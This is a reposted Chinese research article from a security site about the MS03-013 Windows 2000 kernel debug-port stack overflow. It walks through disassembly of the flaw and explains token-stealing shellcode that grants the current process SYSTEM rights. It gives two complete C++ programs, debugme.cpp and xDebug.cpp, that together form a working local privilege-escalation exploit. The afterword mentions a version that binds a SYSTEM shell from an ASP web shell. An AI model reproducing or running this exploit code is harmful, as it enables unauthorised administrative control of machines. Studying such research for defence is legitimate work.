黑基网 首页 学院 网络安全 查看内容

windows 2000 kernel exploit 的一点研究

2004-9-29 20:05| 投稿: security

摘要:  以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。...
 以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。-=-=-=- 第一部分 实例分析 -=-=-=-    MS在2003-04-16发布了一个安全公告MS03-013,内容如下:    The vulnerability exists in the kernel debugging support code that delivers debug events to the user mode debugger. malicious user mode debugger would send a large replyto the kernel, which results in a stack overflow.      按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。    背景知识: user-mode debuger工作流程    debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。    debuger等待进程B产生debug事件    进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。    debuger处理debug事件,发送消息给进程B。    进程B接受debuger发送的消息,进程复苏。    循环2-4    消息传递是通过lpc port来进行的,流程如下所示:    debuger kernel process B        上面所说的消息结构如下:    typedef struct _DEBUG_MESSAGE    {    PORT_MESSAGE        PORT_MSG;    DEBUG_EVENT        DebugEvent;    }DEBUG_MESSAGE, *PDEBUG_MESSAGE;    typedef struct _PORT_MESSAGE     {    USHORT                  DataSize;//数据长度    USHORT                  MessageSize;//总长度    USHORT                  MessageType;    USHORT                  DataInfoOffset;    CLIENT_ID               ClientId;    ULONG                   MessageId;    ULONG                   SectionSize;    //UCHAR            Data[];    }PORT_MESSAGE, *PPORT_MESSAGE;    在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,大家可以参考一下。    结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。    debuger send large reply --> kernel    kernel delivers reply -> process B    在kernel处理这个恶意的reply时,溢出发生了。    注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。    OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。    首先,debuger发送的reply长度是有限制的,我们来看看:    //Data长度要小于等于总长度-0x18    NtReplyPort+0x4D    0008:8049DC89  PUSH      06    0008:8049DC8B  POP       ECX    0008:8049DC8C  MOV       ESI,[EBP+0C]//reply message地址    0008:8049DC8F  LEA       EDI,[EBP-3C]    0008:8049DC92  REPZ MOVSD    0008:8049DC94  OR        DWORD PTR [EBP-04],-01    0008:8049DC98  MOVSX     EAX,WORD PTR [EBP-3C]//取message DataSize    0008:8049DC9C  ADD       EAX,18    0008:8049DC9F  MOVSX     ECX,WORD PTR [EBP-3A]//取message TotalSize    0008:8049DCA3  CMP       EAX,ECX//判断DataSize+0x18是否大于TotalSize    0008:8049DCA5  JA        804EEE93    //Reply总长度不能超过0x148    0008:8049DCD3  MOV       AX,[EBP-3A]//取message TotalSize    0008:8049DCD7  MOVSX     EDX,AX    0008:8049DCDA  MOV       ECX,[EBP-20]    0008:8049DCDD  CMP       EDX,[ECX+34]//[ecx+34]处内容为0x148    0008:8049DCE0  JA        804EEF82    所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。    接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:    DbgkpSendApiMessage    |_ LpcRequestWaitReplyPort          |_ 80433399        |_ LpcpMoveMessage        _DbgkpSendApiMessage(argv1, argv2, argv3)    _DbgkpSendApiMessage    0008:8052CF45  PUSH      EBP    0008:8052CF46  MOV       EBP,ESP    0008:8052CF48  SUB       ESP,00000100//从stack中分配0x100字节内存    ......    0008:8052CF5E  MOV       ESI,[EBP+08]    ......    0008:8052CF78  LEA       EAX,[EBP-0100]    0008:8052CF7E  PUSH      EAX    0008:8052CF7F  PUSH      ESI    0008:8052CF80  PUSH      DWORD PTR [EBP+0C]    0008:8052CF83  CALL      _LpcRequestWaitReplyPort    ......    0008:8052CFBA  RET       000C    _LpcRequestWaitReplyPort(argv3, argv2, stack_buff)    _LpcRequestWaitReplyPort    0008:8049CFD3  PUSH      00    0008:8049CFD5  PUSH      DWORD PTR [ESP+10]    0008:8049CFD9  PUSH      DWORD PTR [ESP+10]    0008:8049CFDD  PUSH      DWORD PTR [ESP+10]    0008:8049CFE1  CALL      80433399    0008:8049CFE6  RET       000C    80433399(argv3, argv2, stack_buff, 0)    80433399+0x3da    0008:80433773  MOV       ESI,[EBP+0C]    0008:80433776  XOR       EDI,EDI    0008:80433778  PUSH      EDI    0008:80433779  PUSH      EDI    0008:8043377A  LEA       EAX,[ESI+30]    0008:8043377D  PUSH      EAX    0008:8043377E  LEA       EAX,[ESI+18]    0008:80433781  PUSH      EAX    0008:80433782  PUSH      DWORD PTR [EBP+10]    0008:80433785  CALL      _LpcpMoveMessage    _LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)    _LpcpMoveMessage    0008:80402276  PUSH      ESI    0008:80402277  PUSH      EDI    0008:80402278  MOV       EDI,[ESP+0C]    0008:8040227C  CLD    0008:8040227D  MOV       ESI,[ESP+10]    0008:80402281  LODSD    0008:80402282  STOSD    0008:80402283  LEA       ECX,[EAX+03]//取得DataSize    0008:80402286  AND       ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120    0008:8040228C  SHR       ECX,02//DataSize除4    0008:8040228F  LODSD    0008:80402290  MOV       EDX,[ESP+18]    0008:80402294  OR        EDX,EDX    0008:80402296  JZ        8040229B    0008:80402298  MOV       AX,DX    0008:8040229B  STOSD    0008:8040229C  MOV       EDX,[ESP+1C]    0008:804022A0  OR        EDX,EDX    0008:804022A2  JZ        804022B0    0008:804022A4  MOV       EAX,[EDX]    0008:804022A6  STOSD    0008:804022A7  MOV       EAX,[EDX+04]    0008:804022AA  STOSD    0008:804022AB  ADD       ESI,08    0008:804022AE  JMP       804022B2    0008:804022B0  MOVSD    0008:804022B1  MOVSD    0008:804022B2  MOVSD    0008:804022B3  MOVSD    0008:804022B4  MOV       ESI,[ESP+14]    0008:804022B8  REPZ      MOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中    0008:804022BA  POP       EDI    0008:804022BB  POP       ESI    0008:804022BC  RET       0014-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-    一、确定retloc地址。        从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。    二、确定retaddr地址。        因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:    |...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|        realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。    shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心态返回应用态。    因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。    再后面跟的就是返回应用态后进程B应该对应的寄存器值了。    三、提升权限。    显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就有最高权限了。    在windows 2000平台中:    当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,所以可以通过当前进程的KPEB找出其他进程的KPEB。        实现代码如下:    //获取当前进程的KPEB地址    mov        eax,fs:[0x124]    mov        esi,[eax+0x44]    mov        eax,esi    /*搜索SYSTEM进程的KPEB地址*/    //获得下一个进程的KPEB    search:    mov        eax,[eax+0xa0]    sub        eax,0xa0    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程    jne        search    mov        eax,[eax+0x12c]//获取system进程的token    mov        [esi+0x12c],eax//修改当前进程的token    四、从内核态正确返回应用态    溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的继续运行。在中断返回时,堆栈中的数据结构如下:        内存高处 栈底    |??????|    |ds    |     |esp   |     |eflags|     |cs    |     |eip   |     内存低处 栈顶    我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。    -=-=-=- 第三部分 exploit -=-=-=-/*-------------------------------------------------------------------debugme.cppwritten by [email protected]----------------------------------*/#include #include #pragma pack(1)typedef struct _SomeInfo{    DWORD    dwNum;    DWORD    dwRealCode;    DWORD    dwShellCode;        DWORD    dw[3];    DWORD    dwESP;    DWORD    dwCS;    DWORD    dwDS;    DWORD    dwES;}SOMEINFO, *PSOMEINFO;unsigned    char    shellcode[512];unsigned    char    realcode[512];DWORD        dwFS;HANDLE        hProcess;DWORD        dwRun;SOMEINFO    si;void  shellcodefnlock();void  realcodefnlock();void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);void CreateNewProcess(){    STARTUPINFO si={sizeof(si)};    PROCESS_INFORMATION pi;        CreateProcess(NULL, "ey4s.bat", NULL, NULL,        TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);    exit(0);}void main(){    HMODULE    h;    DWORD    dwESP, dwCS, dwDS, dwES;    //保存寄存器值    __asm    {        mov        dwESP, esp        sub        dwESP, 0x100        push        cs        pop        eax        and        eax,0xFFFF        mov        dwCS, eax        push        ds        pop        eax        and        eax,0xFFFF        mov        dwDS, eax        push        es        pop        eax        and        eax,0xFFFF        mov        dwES, eax        push        fs        pop        eax        and        eax,0xFFFF        mov        dwFS, eax    }    //取得shellcode    getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);    getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);    //传递一些信息给debuger    dwRun = (DWORD)&CreateNewProcess;    si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;    si.dwRealCode = (DWORD)&realcode;    si.dwShellCode = (DWORD)&shellcode;    si.dwESP = dwESP;    si.dwCS = dwCS;    si.dwDS = dwDS;    si.dwES = dwES;    printf( "shellcode 0x%.8X\n"            "realcode 0x%.8X\n"            "ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n",            si.dwShellCode, si.dwRealCode, si.dwESP,             si.dwCS, si.dwDS, si.dwES, dwFS);    RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);    //触发Load Dll和Free Dll事件    while(1)    {            //printf(".");        h=LoadLibrary("ws2_32.dll");        Sleep(1000);        FreeLibrary(h);        Sleep(1000);    }}void  shellcodefnlock(){    _asm    {     nop     nop     nop     nop     nop     nop     nop     nop/*start here*//*--------提升权限--------*/    //获取当前进程的KPEB地址    mov        eax,fs:[0x124]    mov        esi,[eax+0x44]    mov        eax,esi    /*搜索SYSTEM进程的KPEB地址*/    //获得下一个进程的KPEBsearch:    mov        eax,[eax+0xa0]    sub        eax,0xa0    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程    jne        search    mov        eax,[eax+0x12c]//获取system进程的token    mov        [esi+0x12c],eax//修改当前进程的token/*------------从核心态返回应用态--------------*/    //保存esp    mov        esi,esp    //搜索iretd所需要的参数    mov        eax,esp    add        eax,0x10//跳过我们的数据next:    add        eax,0x4    mov        ebx,[eax]    cmp        ebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b    jne        next    //    sub        eax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址    mov        esp,eax    mov        [eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址    add        eax,0xC    //设置返回应用态后的esp    mov        ebx,[esi]    mov        [eax], ebx    //恢复寄存器值    push    [esi+0x8]    pop        ds    push    [esi+0xc]    pop        es    //返回应用态    iretd/*end here*/     int 3     NOP     NOP     NOP     NOP     NOP     NOP     NOP     NOP         }} void  realcodefnlock(){    _asm    {     nop     nop     nop     nop     nop     nop     nop     nop/*start here*/    push    dwFS    pop    fs    //call our function    call    dwRun/*end here*/     int 3     NOP     NOP     NOP     NOP     NOP     NOP     NOP     NOP         }}void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc){    unsigned    char    temp;    unsigned    char    *shellcodefnadd, *start;    int            len,k;    char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";    #define  FNENDLONG   0x08        /* 定位 shellcodefnlock的汇编代码 */    shellcodefnadd=pSrc;    temp=*shellcodefnadd;    if(temp==0xe9)     {          ++shellcodefnadd;          k=*(int *)shellcodefnadd;          shellcodefnadd+=k;          shellcodefnadd+=4;    }    for(k=0;k         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)              break;    /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */    len=0;    start=shellcodefnadd+k+8;    //len = 2*wcslen(shellcodefnadd+k+8);    while((BYTE)start[len] != (BYTE)'\xcc')    {        pDst[len] = start[len];        len++;        if(len>=iSize-1) break;    }    //memcpy(shellcode,shellcodefnadd+k+8,len);    pDst[len]='\0';}/*-------------------------------------------------------------------xDebug.cppwritten by [email protected]----------------------------------*/#include #include #define    offset    0x100+0x4-0x6*4typedef enum _PROCESSINFOCLASS {ProcessDebugPort=7// 7 Y Y} PROCESSINFOCLASS;typedef struct _UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR Buffer;} UNICODE_STRING ,*PUNICODE_STRING;typedef struct _CLIENT_ID{    HANDLE UniqueProcess;    HANDLE UniqueThread;}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;typedef struct _LPC_MESSAGE {  USHORT                  DataSize;  USHORT                  MessageSize;  USHORT                  MessageType;  USHORT                  DataInfoOffset;  CLIENT_ID               ClientId;  ULONG                   MessageId;  ULONG                   SectionSize;//  UCHAR                      Data[];}LPC_MESSAGE, *PLPC_MESSAGE;typedef struct _OBJECT_ATTRIBUTES{    DWORD           Length;    HANDLE          RootDirectory;    PUNICODE_STRING ObjectName;    DWORD           Attributes;    PVOID           SecurityDescriptor;    PVOID           SecurityQualityOfService;}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;typedef DWORD(CALLBACK * NTCREATEPORT)(  OUT PHANDLE             PortHandle,  IN POBJECT_ATTRIBUTES   ObjectAttributes,  IN ULONG                MaxConnectInfoLength,  IN ULONG                MaxDataLength,  IN OUT PULONG           Reserved OPTIONAL );typedef DWORD(CALLBACK * NTREPLYWAITRECVIVEPORT)(  IN HANDLE               PortHandle,  OUT PHANDLE             ReceivePortHandle OPTIONAL,  IN PLPC_MESSAGE         Reply OPTIONAL,  OUT PLPC_MESSAGE        IncomingRequest );typedef DWORD(CALLBACK * NTREPLYPORT)(  IN HANDLE               PortHandle,  IN PLPC_MESSAGE         Reply );typedef DWORD(CALLBACK * NTSETINFORMATIONPROCESS)(  IN HANDLE               ProcessHandle,  IN PROCESSINFOCLASS ProcessInformationClass,  IN PVOID                ProcessInformation,  IN ULONG                ProcessInformationLength );typedef struct _DEBUG_MESSAGE{    LPC_MESSAGE        PORT_MSG;    DEBUG_EVENT        DebugEvent;}DEBUG_MESSAGE, *PDEBUG_MESSAGE;NTSETINFORMATIONPROCESS NtSetInformationProcess;NTREPLYWAITRECVIVEPORT    NtReplyWaitReceivePort;NTCREATEPORT            NtCreatePort;NTREPLYPORT                NtReplyPort;template struct PORT_MESSAGEX : LPC_MESSAGE {UCHAR Data[i];};PROCESS_INFORMATION    pi;int main(){    HMODULE hNtdll;        DWORD    dwAddrList[9];    BOOL    bExit = FALSE;    DWORD    dwRet;    HANDLE    hPort;    int        k=0;    DEBUG_MESSAGE dm;    OBJECT_ATTRIBUTES oa = {sizeof(oa)};    PORT_MESSAGEX PortReply;    STARTUPINFO    si={sizeof(si)};    printf( "\nxDebug -> windows kernel exploit for MS03-013\n"            "Written by ey4s\n"            "2003-05-23\n\n");    //get native api address    hNtdll = LoadLibrary("ntdll.dll");    if(hNtdll == NULL)     {        printf("LoadLibrary failed:%d\n", GetLastError());        return 0;    }    NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)         GetProcAddress(hNtdll, "NtReplyWaitReceivePort");    NtCreatePort = (NTCREATEPORT)         GetProcAddress(hNtdll, "NtCreatePort");    NtReplyPort = (NTREPLYPORT)         GetProcAddress(hNtdll, "NtReplyPort");    NtSetInformationProcess = (NTSETINFORMATIONPROCESS)         GetProcAddress(hNtdll, "NtSetInformationProcess");    //create port    dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);    if(dwRet != 0)    {        printf("create hPort failed. ret=%.8X\n", dwRet);        return 0;    }    //create process    if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,        CREATE_SUSPENDED, 0, 0, &si, &pi))    {        printf("CreateProcess failed:%d\n", GetLastError());        return 0;    }    //set debug port    dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,        &hPort, sizeof(hPort));    if(dwRet != 0)    {        printf("set debug port error:%.8X\n", dwRet);        return 0;    }    //printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);    ResumeThread(pi.hThread);    while (true)     {        memset(&dm, 0, sizeof(dm));        NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);        k++;        switch (dm.DebugEvent.dwDebugEventCode+1)         {             case EXCEPTION_DEBUG_EVENT:                 printf("DEBUG_EVENT --> except\n");                if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)                {                    memcpy((unsigned char *)&dwAddrList,                        (unsigned char *)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,                        sizeof(dwAddrList));                    /*int    n;                    for(n=0;n                        printf("%.8X\n", dwAddrList[n]);*/                }                break;            case CREATE_THREAD_DEBUG_EVENT:                  printf("DEBUG_EVENT --> create thread\n");                break;            case CREATE_PROCESS_DEBUG_EVENT:                 printf("DEBUG_EVENT --> create process\n");                break;            case EXIT_THREAD_DEBUG_EVENT:                 printf("DEBUG_EVENT --> exit thread\n");                break;            case EXIT_PROCESS_DEBUG_EVENT:                 printf("DEBUG_EVENT --> exit process\n");                bExit = TRUE;                break;            case LOAD_DLL_DEBUG_EVENT:                 printf("DEBUG_EVENT --> load dll\n");                break;            case UNLOAD_DLL_DEBUG_EVENT:                 printf("DEBUG_EVENT --> unload dll\n");                break;            case OUTPUT_DEBUG_STRING_EVENT:                  printf("DEBUG_EVENT --> debug string\n");                        break;        } //end of switch        //printf("k=%d\n",k);        if(k==10)        {            //printf("************\n");            //Sleep(4*1000);            memset(&PortReply, 0, sizeof(PortReply));            memcpy(&PortReply, &dm, sizeof(dm));            PortReply.MessageSize = 0x148;            PortReply.DataSize = 0x130;            memset(&PortReply.Data, 'a', sizeof(PortReply.Data));            memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));            dwRet = NtReplyPort(hPort, &PortReply);            if(dwRet ==0 )                printf("Send shellcode to ntoskrnl completed!"                    "Wait for exit.\n");            else                printf("NtReply err:%.8X\n", dwRet);        }        else             NtReplyPort(hPort, &dm.PORT_MSG);        if(bExit) break;    }//end of while    return 0;}    编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功后会以SYSTEM权限运行ey4s.bat。-=-=-=- 第四部分 其他 -=-=-=-    个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:    提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。    从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。    其他的就跟user-mode exploit没什么区别了。    在这过程中参考了大量书籍、资料,向作者们表示感谢!    References:    http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7    http://person.okey.net/~webcrazy/ webcrazy    http://www.chapeaux-noirs.org crazylord    books:    *Windows NT/2000 Native API Reference    *Inside Microsoft Windows 2000, Third Edition-=-=-=- 第五部分 后记 -=-=-=-  以上exp只能在以下情况下成功:  交互登录时,直接运行  交互登录时,以普通用户身份运行xdebug  不能用于:  asp shell  在asp  shell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文搜集整理自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,请我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部